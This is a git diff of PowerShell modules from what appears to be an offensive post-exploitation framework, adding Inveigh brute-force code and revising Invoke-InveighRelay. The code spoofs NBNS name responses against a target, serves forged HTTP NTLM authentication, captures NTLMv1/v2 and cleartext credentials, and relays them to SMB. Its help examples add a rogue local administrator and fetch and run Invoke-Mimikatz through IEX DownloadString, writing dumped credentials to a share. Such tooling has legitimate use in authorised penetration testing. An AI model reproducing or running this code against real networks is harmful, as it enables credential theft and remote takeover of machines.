+ $HTTP_timestamp` + + (0x0d,0x0a)` + + $HTTP_WWW_authenticate_header` + + $Basic` + + (0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73,0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20)` + + $HTTP_content_length_bytes` + + (0x0d,0x0a)` + + $HTTP_message_bytes + } + else + { + $HTTP_response_status_code = (0x32,0x30,0x30) + $HTTP_response_phrase = (0x4f,0x4b) + $HTTP_message_bytes = (0x0d,0x0a) + $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) + $HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) + $HTTP_client_close = $true + + [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)` + + $HTTP_response_status_code` + + (0x20)` + + $HTTP_response_phrase` + + (0x0d,0x0a)` + + (0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)` + + (0x44,0x61,0x74,0x65,0x3a)` + + $HTTP_timestamp` + + (0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73,0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20)` + + $HTTP_content_length_bytes` + + (0x0d,0x0a)` + + $HTTP_message_bytes + } + + $HTTP_stream.write($HTTP_response, 0, $HTTP_response.length) + $HTTP_stream.Flush() + start-sleep -m 10 + $HTTP_request_raw_URL_old = $HTTP_request_raw_URL + $HTTP_client_handle_old= $inveigh.HTTP_client.Client.Handle + + if($HTTP_client_close) + { + $inveigh.HTTP_client.Close() + + if($RunCount -gt 0 -and ($inveigh.NTLMv1_list.Count -ge $run_count_NTLMv1 -or $inveigh.NTLMv2_list.Count -ge $run_count_NTLMv2 -or $inveigh.cleartext_list.Count -ge $run_count_cleartext)) + { + HTTPListenerStop + $inveigh.console_queue.add("Inveigh Brute Force exited due to run count at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Brute Force exited due to run count")]) + $inveigh.bruteforce_running = $false + } + } + + $HTTP_client_close = $false + } +} + +$spoofer_scriptblock = +{ + param ($SpooferIP,$Hostname,$SpooferTarget,$NBNSPause,$NBNSTTL) + + $Hostname = $Hostname.ToUpper() + + [Byte[]]$hostname_bytes = (0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00) + + $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($Hostname) + $hostname_encoded = [System.BitConverter]::ToString($hostname_encoded) + $hostname_encoded = $hostname_encoded.Replace("-","") + $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($hostname_encoded) + $NBNS_TTL_bytes = [BitConverter]::GetBytes($NBNSTTL) + [array]::Reverse($NBNS_TTL_bytes) + + for ($i=0; $i -lt $hostname_encoded.Count; $i++) + { + if($hostname_encoded[$i] -gt 64) + { + $hostname_bytes[$i] = $hostname_encoded[$i] + 10 + } + else + { + $hostname_bytes[$i] = $hostname_encoded[$i] + 17 + } + } + + [Byte[]]$NBNS_response_packet = (0x00,0x00)` + + (0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20)` + + $hostname_bytes` + + (0x00,0x20,0x00,0x01)` + + $NBNS_TTL_bytes` + + (0x00,0x06,0x00,0x00)` + + ([IPAddress][String]([IPAddress]$SpooferIP)).GetAddressBytes()` + + (0x00,0x00,0x00,0x00) + + $inveigh.console_queue.add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $Hostname on $SpooferTarget") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $Hostname on $SpooferTarget")]) + $NBNS_paused = $false + + $send_socket = New-Object System.Net.Sockets.UdpClient(137) + $destination_IP = [system.net.IPAddress]::Parse($SpooferTarget) + $destination_point = New-Object Net.IPEndpoint($destination_IP,137) + $send_socket.Connect($destination_point) + + while($inveigh.bruteforce_running) + { + :NBNS_spoofer_loop while (!$inveigh.hostname_spoof -and $inveigh.bruteforce_running) + { + if($NBNS_paused) + { + $inveigh.console_queue.add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer")]) + $NBNS_paused = $false + } + + for ($i = 0; $i -lt 255; $i++) + { + for ($j = 0; $j -lt 255; $j++) + { + $NBNS_response_packet[0] = $i + $NBNS_response_packet[1] = $j + [void]$send_socket.send( $NBNS_response_packet,$NBNS_response_packet.length) + + if($inveigh.hostname_spoof -and $NBNSPause) + { + $inveigh.console_queue.add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer")]) + $NBNS_paused = $true + break NBNS_spoofer_loop + } + } + } + } + + Start-Sleep -m 5 + } + + $send_socket.Close() + } + +$control_bruteforce_scriptblock = +{ + param ($NBNSPause,$RunTime) + + if($RunTime) + { + $control_timeout = new-timespan -Minutes $RunTime + $control_stopwatch = [diagnostics.stopwatch]::StartNew() + } + + if($NBNSPause) + { + $NBNS_pause = new-timespan -Seconds $NBNSPause + } + + while ($inveigh.bruteforce_running) + { + + if($RunTime) + { + if($control_stopwatch.elapsed -ge $control_timeout) + { + if($inveigh.HTTP_listener.IsListening) + { + $inveigh.HTTP_listener.Stop() + $inveigh.HTTP_listener.Close() + } + + if($inveigh.bruteforce_running) + { + HTTPListenerStop + $inveigh.console_queue.add("Inveigh Brute Force exited due to run time at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Brute Force exited due to run time")]) + Start-Sleep -m 5 + $inveigh.bruteforce_running = $false + } + + if($inveigh.relay_running) + { + $inveigh.console_queue.add("Inveigh Relay exited due to run time at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")]) + Start-Sleep -m 5 + $inveigh.relay_running = $false + } + + if($inveigh.running) + { + $inveigh.console_queue.add("Inveigh exited due to run time at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh exited due to run time")]) + Start-Sleep -m 5 + $inveigh.running = $false + } + } + } + + if($NBNSPause -and $inveigh.hostname_spoof) + { + if($inveigh.NBNS_stopwatch.elapsed -ge $NBNS_pause) + { + $inveigh.hostname_spoof = $false + } + } + + if($inveigh.file_output -and !$inveigh.running) + { + while($inveigh.log_file_queue.Count -gt 0) + { + $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append + $inveigh.log_file_queue.RemoveRange(0,1) + } + + while($inveigh.NTLMv1_file_queue.Count -gt 0) + { + $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append + $inveigh.NTLMv1_file_queue.RemoveRange(0,1) + } + + while($inveigh.NTLMv2_file_queue.Count -gt 0) + { + $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append + $inveigh.NTLMv2_file_queue.RemoveRange(0,1) + } + + while($inveigh.cleartext_file_queue.Count -gt 0) + { + $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append + $inveigh.cleartext_file_queue.RemoveRange(0,1) + } + } + + Start-Sleep -m 5 + } + } + +# End ScriptBlocks +# Begin Startup Functions + +# HTTP Listener Startup Function +Function HTTPListener() +{ + if($HTTPIP) + { + $HTTPIP = [system.net.IPAddress]::Parse($HTTPIP) + $inveigh.HTTP_endpoint = New-Object System.Net.IPEndPoint($HTTPIP,$HTTPPort) + } + else + { + $inveigh.HTTP_endpoint = New-Object System.Net.IPEndPoint([ipaddress]::any,$HTTPPort) + } + + $inveigh.HTTP_listener = New-Object System.Net.Sockets.TcpListener $inveigh.HTTP_endpoint + $inveigh.HTTP_listener.Start() + $HTTP_runspace = [runspacefactory]::CreateRunspace() + $HTTP_runspace.Open() + $HTTP_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $HTTP_powershell = [powershell]::Create() + $HTTP_powershell.Runspace = $HTTP_runspace + $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($HTTPAuth).AddArgument($HTTPBasicRealm).AddArgument($HTTPResponse).AddArgument( + $MachineAccounts).AddArgument($NBNSPause).AddArgument($WPADAuth).AddArgument($WPADIP).AddArgument($WPADPort).AddArgument( + $WPADDirectHosts).AddArgument($WPADResponse).AddArgument($RunCount) > $null + $HTTP_powershell.BeginInvoke() > $null +} + +# Spoofer Startup Function +Function Spoofer() +{ + $spoofer_runspace = [runspacefactory]::CreateRunspace() + $spoofer_runspace.Open() + $spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $spoofer_powershell = [powershell]::Create() + $spoofer_powershell.Runspace = $spoofer_runspace + $spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $spoofer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null + $spoofer_powershell.AddScript($spoofer_scriptblock).AddArgument($SpooferIP).AddArgument($Hostname).AddArgument( + $SpooferTarget).AddArgument($NBNSPause).AddArgument($NBNSTTL) > $null + $spoofer_powershell.BeginInvoke() > $null +} + +# Control Brute Force Startup Function +Function ControlBruteForceLoop() +{ + $control_bruteforce_runspace = [runspacefactory]::CreateRunspace() + $control_bruteforce_runspace.Open() + $control_bruteforce_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $control_bruteforce_powershell = [powershell]::Create() + $control_bruteforce_powershell.Runspace = $control_bruteforce_runspace + $control_bruteforce_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $control_bruteforce_powershell.AddScript($control_bruteforce_scriptblock).AddArgument($NBNSPause).AddArgument($RunTime) > $null + $control_bruteforce_powershell.BeginInvoke() > $null +} + +# End Startup Functions + +# Startup Enabled Services + +# HTTP Server Start +if($HTTP -eq 'y') +{ + HTTPListener +} + +# Spoofer Start +if($NBNS -eq 'y') +{ + Spoofer +} + +# Control Brute Force Loop Start +if($NBNSPause -or $RunTime -or $inveigh.file_output) +{ + ControlBruteForceLoop +} + +if($inveigh.console_output) +{ + :console_loop while(($inveigh.bruteforce_running -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) + { + while($inveigh.console_queue.Count -gt 0) + { + if($inveigh.output_stream_only) + { + write-output($inveigh.console_queue[0] + $inveigh.newline) + $inveigh.console_queue.RemoveRange(0,1) + } + else + { + switch -wildcard ($inveigh.console_queue[0]) + { + "Inveigh *exited *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "* written to *" + { + if($inveigh.file_output) + { + write-warning $inveigh.console_queue[0] + } + + $inveigh.console_queue.RemoveRange(0,1) + } + "* for relay *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "*SMB relay *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "* local administrator *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + default + { + write-output $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + } + } + } + + if($inveigh.console_input) + { + if([console]::KeyAvailable) + { + $inveigh.console_output = $false + BREAK console_loop + } + } + + Start-Sleep -m 5 + } +} + +if($inveigh.file_output -and !$inveigh.running) +{ + while($inveigh.log_file_queue.Count -gt 0) + { + $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append + $inveigh.log_file_queue.RemoveRange(0,1) + } + + while($inveigh.NTLMv1_file_queue.Count -gt 0) + { + $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append + $inveigh.NTLMv1_file_queue.RemoveRange(0,1) + } + + while($inveigh.NTLMv2_file_queue.Count -gt 0) + { + $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append + $inveigh.NTLMv2_file_queue.RemoveRange(0,1) + } + + while($inveigh.cleartext_file_queue.Count -gt 0) + { + $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append + $inveigh.cleartext_file_queue.RemoveRange(0,1) + } +} + +} \ No newline at end of file diff --git a/data/module_source/lateral_movement/Invoke-InveighRelay.ps1 b/data/module_source/lateral_movement/Invoke-InveighRelay.ps1 index 483c54edf..21226f695 100644 --- a/data/module_source/lateral_movement/Invoke-InveighRelay.ps1 +++ b/data/module_source/lateral_movement/Invoke-InveighRelay.ps1 @@ -2,49 +2,83 @@ Function Invoke-InveighRelay { <# .SYNOPSIS -Invoke-InveighRelay is the main Inveigh SMB relay function. Invoke-InveighRelay can be used either through Invoke-Inveigh or as a standalone function. +Invoke-InveighRelay performs NTLMv2 HTTP to SMB relay with psexec style command execution. + .DESCRIPTION Invoke-InveighRelay currently supports NTLMv2 HTTP to SMB relay with psexec style command execution. + + HTTP/HTTPS to SMB NTLMv2 relay with granular control + NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS + Granular control of console and file output + Can be executed as either a standalone function or through Invoke-Inveigh + .PARAMETER HTTP -Default = Enabled: Enable/Disable HTTP challenge/response capture. +Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. + .PARAMETER HTTPS -Default = Disabled: Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store and attached to port 443. +Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store and attached to port 443. If the script does not exit gracefully, execute "netsh http delete sslcert ipport=0.0.0.0:443" and manually remove the certificate from "Local Computer\Personal" in the cert store. + +.PARAMETER HTTPSCertAppID +Specify a valid application GUID for use with the ceriticate. + +.PARAMETER HTTPSCertThumbprint +Specify a certificate thumbprint for use with a custom certificate. The certificate filename must be located in the current working directory and named Inveigh.pfx. + .PARAMETER Challenge Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. Note that during SMB relay attempts, the challenge will be pulled from the SMB relay target. + .PARAMETER MachineAccounts -Default = Disabled: Enable/Disable showing NTLM challenge/response captures from machine accounts. -.PARAMETER ForceWPADAuth -Default = Enabled: Matches Responder option to Enable/Disable authentication for wpad.dat GET requests. Disabling can prevent browser login prompts. +Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. + +.PARAMETER WPADAuth +Default = NTLM: (Anonymous,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts. + .PARAMETER SMBRelayTarget IP address of system to target for SMB relay. + .PARAMETER SMBRelayCommand -Command to execute on SMB relay target. +Command to execute on SMB relay target. Use PowerShell character escapes where necessary. + .PARAMETER SMBRelayUsernames Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format. + .PARAMETER SMBRelayAutoDisable -Default = Enable: Automaticaly disable SMB relay after a successful command execution on target. +Default = Enable: (Y/N) Automaticaly disable SMB relay after a successful command execution on target. + .PARAMETER SMBRelayNetworkTimeout -Default = No Timeout: Set the duration in seconds that Inveigh will wait for a reply from the SMB relay target after each packet is sent. +Default = No Timeout: (Integer) Set the duration in seconds that Inveigh will wait for a reply from the SMB relay target after each packet is sent. + .PARAMETER ConsoleOutput -Default = Disabled: Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. +Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. + .PARAMETER FileOutput -Default = Disabled: Enable/Disable real time file output. +Default = Disabled: (Y/N) Enable/Disable real time file output. + .PARAMETER StatusOutput -Default = Enabled: Enable/Disable statup and shutdown messages. +Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. + .PARAMETER OutputStreamOnly -Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh through a shell that does not return other output streams. +Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh Relay through a shell that does not return other output streams. Note that you will not see the various yellow warning messages if enabled. + .PARAMETER OutputDir -Default = Working Directory: Set an output directory for log and capture files. +Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must also be enabled. + .PARAMETER ShowHelp -Default = Enabled: Enable/Disable the help messages at startup. +Default = Enabled: (Y/N) Enable/Disable the help messages at startup. + +.PARAMETER RunTime +(Integer) Set the run time duration in minutes. + .PARAMETER Tool -Default = 0: Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire +Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire + .EXAMPLE -Invoke-InveighRelay -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Summer2015 /add && net localgroup administrators Dave /add" +Invoke-InveighRelay -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Spring2016 /add && net localgroup administrators Dave /add" Execute with SMB relay enabled with a command that will create a local administrator account on the SMB relay target. + .EXAMPLE Invoke-InveighRelay -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "powershell \\192.168.2.50\temp$\powermeup.cmd" Execute with SMB relay enabled and using Mubix's powermeup.cmd method of launching Invoke-Mimikatz.ps1 and uploading output. In this example, a hidden anonymous share containing Invoke-Mimikatz.ps1 is employed on the Inveigh host system. @@ -52,27 +86,35 @@ Powermeup.cmd contents used for this example: powershell "IEX (New-Object Net.WebClient).DownloadString('\\192.168.2.50\temp$\Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.2.50\temp$\%COMPUTERNAME%.txt 2>&1" Original version: https://github.com/mubix/post-exploitation/blob/master/scripts/mass_mimikatz/powermeup.cmd + .LINK https://github.com/Kevin-Robertson/Inveigh #> + +# Parameter default values can be modified in this section: param ( [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$HTTP="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$HTTPS="N", - [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][string]$Challenge="", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ConsoleOutput="N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$FileOutput="N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$StatusOutput="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$OutputStreamOnly="N", - [parameter(Mandatory=$true)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SMBRelayTarget ="", - [parameter(Mandatory=$false)][array]$SMBRelayUsernames, - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMBRelayAutoDisable="Y", - [parameter(Mandatory=$false)][int]$SMBRelayNetworkTimeout="", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$MachineAccounts="N", - [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][string]$OutputDir="", - [parameter(Mandatory=$true)][string]$SMBRelayCommand = "", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ShowHelp="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMBRelayAutoDisable="Y", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","NTLM")][string]$WPADAuth="NTLM", [parameter(Mandatory=$false)][ValidateSet("0","1","2")][string]$Tool="0", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ShowHelp="Y" + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][string]$OutputDir="", + [parameter(Mandatory=$true)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SMBRelayTarget ="", + [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][string]$Challenge="", + [parameter(Mandatory=$false)][array]$SMBRelayUsernames="", + [parameter(Mandatory=$false)][int]$SMBRelayNetworkTimeout="", + [parameter(Mandatory=$false)][int]$RunTime="", + [parameter(Mandatory=$true)][string]$SMBRelayCommand = "", + [parameter(Mandatory=$false)][string]$HTTPSCertAppID="00112233-4455-6677-8899-AABBCCDDEEFF", + [parameter(Mandatory=$false)][string]$HTTPSCertThumbprint="98c1d54840c5c12ced710758b6ee56cc62fa1f0d", + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if ($invalid_parameter) @@ -122,7 +164,8 @@ if(!$inveigh.running) $inveigh.log_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList - $inveigh.certificate_thumbprint = "76a49fd27011cf4311fb6914c904c90a89f3e4b2" + $inveigh.certificate_application_ID = $HTTPSCertAppID + $inveigh.certificate_thumbprint = $HTTPSCertThumbprint $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList $inveigh.console_output = $false $inveigh.console_input = $true @@ -155,7 +198,7 @@ else $inveigh.output_stream_only = $false } -if($Tool -eq 1) # Metasploit Interactive PowerShell +if($Tool -eq 1) # Metasploit Interactive Powershell { $inveigh.tool = 1 $inveigh.output_stream_only = $true @@ -181,7 +224,7 @@ else if(!$inveigh.running) { $inveigh.status_queue.add("Inveigh Relay started at $(Get-Date -format 's')")|Out-Null - $inveigh.log.add("$(Get-Date -format 's') - Inveigh started") |Out-Null + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Relay started")]) |Out-Null if($HTTP -eq 'y') { @@ -202,10 +245,13 @@ if(!$inveigh.running) $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") $certificate_store.Open('ReadWrite') $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 - $certificate.Import($PWD.Path + "\inveigh.pfx") + $certificate.Import($PWD.Path + "\Inveigh.pfx") $certificate_store.Add($certificate) $certificate_store.Close() - Invoke-Expression -command ("netsh http add sslcert ipport=0.0.0.0:443 certhash=" + $inveigh.certificate_thumbprint + " appid='{00112233-4455-6677-8899-AABBCCDDEEFF}'") > $null + $netsh_certhash = "certhash=" + $inveigh.certificate_thumbprint + $netsh_app_ID = "appid={" + $inveigh.certificate_application_ID + "}" + $netsh_arguments = @("http","add","sslcert","ipport=0.0.0.0:443",$netsh_certhash,$netsh_app_ID) + & "netsh" $netsh_arguments > $null $inveigh.status_queue.add("HTTPS Capture Enabled")|Out-Null } catch @@ -232,14 +278,7 @@ if(!$inveigh.running) $inveigh.status_queue.add("Ignoring Machine Accounts")|Out-Null } - if($ForceWPADAuth -eq 'y') - { - $inveigh.status_queue.add("Force WPAD Authentication Enabled")|Out-Null - } - else - { - $inveigh.status_queue.add("Force WPAD Authentication Disabled")|Out-Null - } + $inveigh.status_queue.add("Force WPAD Authentication = $WPADAuth")|Out-Null if($ConsoleOutput -eq 'y') { @@ -268,22 +307,29 @@ if(!$inveigh.running) { $inveigh.status_queue.add("Real Time File Output Disabled")|Out-Null } + + if($RunTime -eq 1) + { + $inveigh.status_queue.add("Run Time = $RunTime Minute")|Out-Null + } + elseif($RunTime -gt 1) + { + $inveigh.status_queue.add("Run Time = $RunTime Minutes")|Out-Null + } } $inveigh.status_queue.add("SMB Relay Enabled") |Out-Null $inveigh.status_queue.add("SMB Relay Target = $SMBRelayTarget")|Out-Null -if($SMBRelayUsernames.Count -gt 0) +if($SMBRelayUsernames) { - $SMBRelayUsernames_output = $SMBRelayUsernames -join "," - if($SMBRelayUsernames.Count -eq 1) { - $inveigh.status_queue.add("SMB Relay Username = $SMBRelayUsernames_output")|Out-Null + $inveigh.status_queue.add("SMB Relay Username = " + $SMBRelayUsernames -join ",")|Out-Null } else { - $inveigh.status_queue.add("SMB Relay Usernames = $SMBRelayUsernames_output")|Out-Null + $inveigh.status_queue.add("SMB Relay Usernames = " + $SMBRelayUsernames -join ",")|Out-Null } } @@ -340,10 +386,10 @@ if($inveigh.status_output) } } -$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() |select -expand id +$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() |Select-Object -expand id $process_ID = [BitConverter]::ToString([BitConverter]::GetBytes($process_ID)) $process_ID = $process_ID -replace "-00-00","" -[Byte[]]$inveigh.process_ID_bytes = $process_ID.Split("-") | FOREACH{[CHAR][CONVERT]::toint16($_,16)} +[Byte[]]$inveigh.process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[CHAR][CONVERT]::toint16($_,16)} # Begin ScriptBlocks @@ -376,7 +422,7 @@ $shared_basic_functions_scriptblock = $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length-1)]) $string_data = $string_data -replace "-00","" - $string_data = $string_data.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $string_data = $string_data.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $string_extract = New-Object System.String ($string_data,0,$string_data.Length) return $string_extract } @@ -436,13 +482,13 @@ $SMB_relay_challenge_scriptblock = $SMB_NTLMSSP_length = '0x{0:X2}' -f ($HTTP_request_bytes.length) $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 34)) $SMB_blob_length = $SMB_blob_length -replace "-00-00","" - $SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_blob_length = $SMB_blob_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 45)) $SMB_byte_count = $SMB_byte_count -replace "-00-00","" - $SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_byte_count = $SMB_byte_count.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 104)) $SMB_netbios_length = $SMB_netbios_length -replace "-00-00","" - $SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_netbios_length = $SMB_netbios_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} [array]::Reverse($SMB_netbios_length) [Byte[]] $SMB_relay_challenge_send = (0x00,0x00)` @@ -509,20 +555,32 @@ $SMB_relay_response_scriptblock = { $SMB_relay_response_stream = $SMB_relay_socket.GetStream() } - - $SMB_length_1 = '0x{0:X2}' -f ($HTTP_request_bytes.length - 244) - $SMB_length_2 = '0x{0:X2}' -f ($HTTP_request_bytes.length - 248) - $SMB_length_3 = '0x{0:X2}' -f ($HTTP_request_bytes.length - 252) - $SMB_NTLMSSP_length = '0x{0:X2}' -f ($HTTP_request_bytes.length - 256) + + $SMB_length_1 = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 12)) + $SMB_length_1 = $SMB_length_1 -replace "-00-00","" + $SMB_length_1 = $SMB_length_1.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_length_2 = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 8)) + $SMB_length_2 = $SMB_length_2 -replace "-00-00","" + $SMB_length_2 = $SMB_length_2.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_length_3 = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 4)) + $SMB_length_3 = $SMB_length_3 -replace "-00-00","" + $SMB_length_3 = $SMB_length_3.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_NTLMSSP_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length)) + $SMB_NTLMSSP_length = $SMB_NTLMSSP_length -replace "-00-00","" + $SMB_NTLMSSP_length = $SMB_NTLMSSP_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 16)) $SMB_blob_length = $SMB_blob_length -replace "-00-00","" - $SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_blob_length = 